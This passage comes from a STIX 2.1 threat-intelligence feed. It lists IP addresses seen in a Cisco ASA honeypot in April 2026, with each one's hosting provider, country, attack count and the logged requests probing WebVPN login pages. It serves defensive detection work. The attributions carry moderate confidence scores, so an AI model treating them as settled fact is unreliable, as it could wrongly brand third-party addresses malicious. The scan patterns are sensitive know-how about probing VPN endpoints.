      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--6b042238-d161-423d-812b-b18f113baf3a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.225.189.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T15:59:33.355Z",
          "last_seen": "2026-04-25T09:24:23.129Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--f7312c8e-265b-4d41-9253-c055a51ab058",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.245.139.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-08T15:40:09.089Z",
          "last_seen": "2026-04-08T15:40:13.140Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--c87c2cdd-6d69-4770-8d3a-3376c3def3d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T16:55:32.601Z",
          "last_seen": "2026-04-28T06:20:35.408Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--99d3ea9c-d1b7-44a6-bda5-7e3e12cec385",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T16:20:20.720Z",
          "last_seen": "2026-04-29T12:19:51.689Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--66ac181d-ec75-4c6a-934c-50b0b4bbc183",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T17:00:24.025Z",
          "last_seen": "2026-04-27T13:52:45.111Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2731b403-4561-4b0a-9f46-6f493dba57f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T16:53:48.040Z",
          "last_seen": "2026-04-27T22:14:12.454Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f8fe85c3-0cee-49b5-a1f8-71d2c2cb44c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T17:18:58.944Z",
          "last_seen": "2026-04-21T13:04:52.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--4ff43009-70bd-4290-b212-a25998e1dbe4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T17:15:12.033Z",
          "last_seen": "2026-04-29T16:41:08.665Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--418ab54a-9e21-4ad6-9599-4f877161e21a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T16:36:45.613Z",
          "last_seen": "2026-04-29T04:51:34.951Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--edee5faa-f46d-4a7a-9752-55aff47c093f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-08T16:38:07.816Z",
          "last_seen": "2026-04-24T11:50:11.413Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--13863adc-26c3-4e0a-af83-89fc483d58e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T17:16:13.507Z",
          "last_seen": "2026-04-18T01:49:45.788Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d862d48b-820a-4d79-adca-5efa38d48830",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T17:03:36.085Z",
          "last_seen": "2026-04-29T23:46:57.695Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--74141c7a-2189-4cd4-abab-3d784cde517e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-08T17:11:56.814Z",
          "last_seen": "2026-04-27T22:49:35.121Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1466dbee-a6bd-429b-99be-15dd443214b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T16:47:46.515Z",
          "last_seen": "2026-04-30T01:42:34.305Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--96ffb07d-7f7b-4044-a75e-fcb10cc1fe68",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-08T16:44:15.677Z",
          "last_seen": "2026-04-08T16:44:24.393Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6bbf3ffd-a570-4877-81aa-9eb4d13450ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-08T16:56:13.581Z",
          "last_seen": "2026-04-28T04:27:43.412Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--c3a51b2f-354d-4fcb-8f4e-85296a354868",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-08T17:13:54.884Z",
          "last_seen": "2026-04-28T06:31:24.406Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--0b7e2b5c-f8bd-4a2e-b980-09cf4916c3a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:20:09.000Z",
      "valid_until": "2026-05-10T17:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T16:35:29.036Z",
          "last_seen": "2026-04-24T20:20:26.010Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--520ad52b-f06e-4d40-9b17-841a9cd52b5c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '123.160.223.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-08T18:10:09.494Z",
          "last_seen": "2026-04-08T18:10:09.494Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--5274e960-d121-489c-87a3-92850493a2d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '123.160.223.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:20:13.000Z",
      "valid_until": "2026-05-10T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T18:09:02.641Z",
          "last_seen": "2026-04-28T02:37:46.531Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
